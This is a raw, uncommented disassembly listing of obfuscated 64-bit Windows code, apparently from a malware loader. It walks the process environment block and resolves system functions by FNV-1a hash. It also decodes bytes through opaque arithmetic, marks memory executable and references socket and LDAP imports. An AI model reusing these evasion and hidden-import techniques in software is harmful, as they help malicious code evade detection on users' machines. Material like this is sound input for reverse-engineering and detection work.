add rdx, r11
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x1110], cl
add r10, r12
jmp 0x14020507c
movabs rdx, 0x118616b0f88eecaa
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r11, r12
jmp 0x14020513f
mov r9, r8
movabs rdx, 0xb2d82cb8fc86f6fa
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xd2561954caea7612
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7e
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1110], al
add r10, r12
add rax, r10
sub r11, rax
movabs rcx, 0x7e2bd693ca6b74c8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, cl
mov byte [rbp + r11 + 0x1110], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x140205130
movabs rdx, 0x38137bcfe82fc22
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1110]
add rax, r10
add r11, rax
add r11, r12
jmp 0x140204a15
movabs rdx, 0x460b51babe04548e
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140204a12
movabs rdx, 0xee5fd73cbf025722
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140204a02
lea rdx, [rbp + 0x16b3358]
jmp 0x1402051ac
lea rdx, [rbp + 0x16c320e]
jmp 0x1402051ac
lea rdx, [rbp + 0x1110]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r15
mov rdx, qword [0x14044bb38]
test rdx, rdx
jne 0x14020531d
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x140205237
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r15d
jmp 0x140205229
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140205218
cmp r9d, esi
jne 0x14020530e
mov rbx, qword [rcx + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14020530e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14020530e
mov edi, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rbx
mov r8d, r15d
jmp 0x14020528b
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14020527e
cmp r8d, r14d
je 0x1402052a1
test r10d, r10d
jne 0x14020526b
jmp 0x14020530e
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x140205316
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140205316
mov esi, r15d
mov r14d, r15d
jmp 0x1402052df
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402052d1
jmp 0x1402052f4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1402052e7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1402051e4
mov qword [0x14044bb38], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
test rbx, rbx
jne 0x14020548d
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402053a4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140205396
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140205385
cmp r8d, esi
jne 0x140205471
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140205471
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140205471
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1402053f8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1402053ed
cmp edx, r14d
je 0x14020540e
test r9d, r9d
jne 0x1402053d8
jmp 0x140205471
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r11
cmp rbx, r10
jbe 0x140205486
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140205486
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140205450
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140205442
jmp 0x140205465
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140205458
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140205483
cmp qword [rdi + 0x30], r13
jne 0x140205354
mov rbx, r13
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
test rdx, rdx
jne 0x140205603
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020551a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14020550c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1402054fb
cmp r8d, esi
jne 0x1402055e7
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1402055e7
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1402055e7
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x14020556e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140205563
cmp edx, r14d
je 0x140205584
test r9d, r9d
jne 0x14020554e
jmp 0x1402055e7
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1402055fc
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1402055fc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1402055c6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402055b8
jmp 0x1402055db
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1402055ce
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1402055f9
cmp qword [rdi + 0x30], r13
jne 0x1402054ca
mov rdx, r13
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
test rdx, rdx
jne 0x140205770
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140205687
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140205679
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140205668
cmp r8d, esi
jne 0x140205754
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140205754
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140205754
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1402056db
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1402056d0
cmp edx, r14d
je 0x1402056f1
test r9d, r9d
jne 0x1402056bb
jmp 0x140205754
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x140205769
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140205769
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140205733
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140205725
jmp 0x140205748
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14020573b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140205766
cmp qword [rdi + 0x30], r13
jne 0x140205637
mov rdx, r13
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
test rdx, rdx
jne 0x1402058dd
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402057f4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1402057e6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1402057d5
cmp r8d, esi
jne 0x1402058c1
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1402058c1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1402058c1
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140205848
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020583d
cmp edx, r14d
je 0x14020585e
test r9d, r9d
jne 0x140205828
jmp 0x1402058c1
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1402058d6
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1402058d6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1402058a0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140205892
jmp 0x1402058b5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1402058a8
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1402058d3
cmp qword [rdi + 0x30], r13
jne 0x1402057a4
mov rdx, r13
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
cmp qword [0x14044bb58], r13
jne 0x140205a49
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020595e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140205950
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14020593f
cmp r8d, esi
jne 0x140205a2d
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140205a2d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140205a2d
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1402059b2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1402059a7
cmp edx, r14d
je 0x1402059c8
test r9d, r9d
jne 0x140205992
jmp 0x140205a2d
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x140205a42
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140205a42
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140205a0a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x1402059fc
jmp 0x140205a20
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140205a13
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140205a3f
cmp qword [rdi + 0x30], r13
jne 0x14020590e
mov r9, r13
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x140205abe
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140205aa6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140205a87
cmp r8d, 0x610c0de3
je 0x140205b0f
mov r9, qword [r9]
cmp r9, r10
je 0x140205ab4
cmp qword [r9 + 0x30], r13
jne 0x140205a6c
mov r8, r13
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x140205b0a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140205aee
cmp ecx, 0xe463da3c
je 0x140205b15
add r9d, r12d
jmp 0x140205ad2
mov r8, qword [r9 + 0x30]
jmp 0x140205ab7
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x140205ca5
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140205bb9
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140205bab
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140205b9a
cmp r8d, esi
jne 0x140205c89
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140205c89
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140205c89
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140205c0d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140205c02
cmp edx, r14d
je 0x140205c23
test r9d, r9d
jne 0x140205bed
jmp 0x140205c89
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140205c9e
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140205c9e
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140205c7c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140205c58
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140205c6f
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140205c9b
cmp qword [rdi + 0x30], r13
jne 0x140205b69
mov r10, r13
mov qword [0x14044bb88], r10
lea r9, [rbp + 0x11b4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x140205e29
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140205d3d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140205d2f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140205d1e
cmp r8d, esi
jne 0x140205e0d
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140205e0d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140205e0d
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140205d91
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140205d86
cmp edx, r14d
je 0x140205da7
test r9d, r9d
jne 0x140205d71
jmp 0x140205e0d
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, r11
cmp r8, r10
jbe 0x140205e22
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140205e22
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140205e00
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140205ddc
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140205df3
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140205e1f
cmp qword [rdi + 0x30], r13
jne 0x140205ced
mov r8, r13
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [rbp + 0x1ca0]
call fcn.1400a3400
mov byte [rbp + 0x40], 0xfe
mov byte [rbp + 0x41], Ordinal_50
mov byte [rbp + 0x42], Ordinal_200
mov byte [rbp + 0x43], 0x33
mov byte [rbp + 0x44], 0x34
mov byte [rbp + 0x45], 0xa9
xor eax, eax
mov qword [rbp + 0x46], rax
mov word [rbp + 0x4e], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x1e3d3b18808e33ba
movabs r14, 0x79553d89c8c4782e
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r11d, eax
cmp r11, 0x10
jae 0x140206765
movzx r8d, byte [rbp + r11 + 0x40]
mov r9, r8
cmp rdi, r11
ja 0x14020675c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140205ef7
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x16
jmp 0x140205f31
je 0x1402066e0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020665d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140206627
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402065fc
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1402065ac
cmp r10, r11
ja 0x140206753
lea rax, [r10 + 0x42]
cmp rdi, rax
jae 0x140205f65
movabs rcx, 0x7b05d9028baa3e42
add rcx, r11
mov al, r8b
and al, cl
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, r8b
add dl, cl
jmp 0x140205f9b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020659b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020657b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140206567
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140206541
mov dl, bl
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x1402061f5
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1402061d4
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1402061ae
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140206188
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140206165
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140206151
lea rdi, [r10 + 0x400]
lea r10, [rdi + 5]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140206739
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140206716
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140206088
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140206139
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 4]
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x14020611f
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1402060fe
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1402060dd
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1402060cf
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1402060ae
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140205fa8
lea rdi, [r10 + 1]
lea r10, [rdi + 0x28]
jmp 0x140205fa8
movabs rdx, 0xf24a29ebcafd4716
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140205ec9
movabs rdx, 0xd82ec8145d51f210
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1402065cb
lea rdx, [r11 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140206639
movabs rdx, 0x6d5002ee56a78558
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x14020667f
movabs rdx, 0x30d58cbd558b1de4
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x140206425
lea rcx, [r11 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1402066fd
lea rcx, [r11 + r13]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x4a
jmp 0x14020624e
movabs rdx, 0xe223160f45fd758c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1402062cf
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140206648
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020661a
movabs rdx, 0x3ac9dab83e36a160
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402065f2
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x74
jmp 0x1402065cb
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1402062b7
lea rcx, [r11 + rsi]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x16
add dl, cl
lea rax, [r10 + rdi]
cmp rax, 4
je 0x14020651b
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14020635c
movabs rdx, 0x349714d6a1e25352
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x3e
add dl, cl
cmp rdi, 0x28
jae 0x1402064c9
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14020642c
movabs rdx, 0xaf9cedd92d8c9194
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xc
add dl, cl
cmp r10, 0x20
jb 0x1402064bd
movabs rdx, 0xc658bc338a89c1c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1402065cd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402062e6
movabs rdx, 0xf60bb20517547c84
